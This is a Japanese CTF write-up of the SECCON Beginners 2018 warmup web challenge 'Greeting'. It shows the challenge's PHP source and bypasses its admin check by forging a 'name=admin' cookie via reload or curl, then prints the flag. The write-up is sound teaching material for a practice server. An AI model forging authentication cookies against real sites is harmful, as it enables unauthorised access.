Webのログインクラック問題を解く[CTF for Beginners 2018]"[Warmup] Greeting"
経緯
この記事を元にCTF復習中
SECCON Beginners CTF 2018 Write-up
手順
1 まず挙動を見る
コードもぺろんと書かれている
<?php if(isset($_POST['name'])) { setcookie("name", $_POST['name'], time()+3600); $username = htmlspecialchars($_POST['name'], ENT_QUOTES, "UTF-8"); // 管理者でログインできる? if($username === "admin") { $username = "偽管理者"; } } elseif(isset($_COOKIE['name'])) { $username = htmlspecialchars($_COOKIE['name'], ENT_QUOTES, "UTF-8"); } else { $username = "ゲスト"; } ?> <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> <title>SECCON Beginners greeting service</title> </head> <body> <h1>こんにちは!<?=$username?>さん!</h1> <hr> <?php if($username === 'admin'): ?> こんにちは管理者さん。 Flagは、 "<?=$_ENV['SECCON_BEGINNERS_FLAG']?>"です。 <?php else: ?> こんにちは<?=$username?>さん。 Flagは、管理者である"admin"さんにのみしか表示されません。 <?php endif; ?> <form method="POST"> <input type="text" placeholder="名前" name="name"> <button type="submit">名前を変更する</button> </form> <pre> <code> <?=htmlspecialchars(file_get_contents("./index.php"), ENT_QUOTES, "UTF-8")?> </code> </pre> </body> </html>
$username == 'admin'
ならFlagは、・・・と表示されるはずが、フォームにadmin
と入れるとPHPによって$username = '偽管理者'
と代入されなおされてしまう!うーむ。
$_POST['name']うんたらということはPOSTメソッドのときに動くわけであるから、POSTじゃない方法でクッキーにadmin
とセットしたままこのサーバーにアクセスできればいいんだ。ということになる。
GETでアクセス
要するに、これは一旦POSTしたあとに再読込すればいいということになる。
こんにちは管理者さん。 Flagは、 "ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}"です。
OK!
curlでもできるよ
もちろんカールでもできます^^
$ curl -b name=admin greeting.chall.beginners.seccon.jp
参考資料によると、下記のようにgrepをかけると、flag部分だけ抽出できてより手っ取り早い!
$ curl -b name=admin greeting.chall.beginners.seccon.jp | grep ctf4b
参考引用元記事
こちらも参考にさせていただきました。
http://zeosutt.hatenablog.com/entry/2018/05/27/140530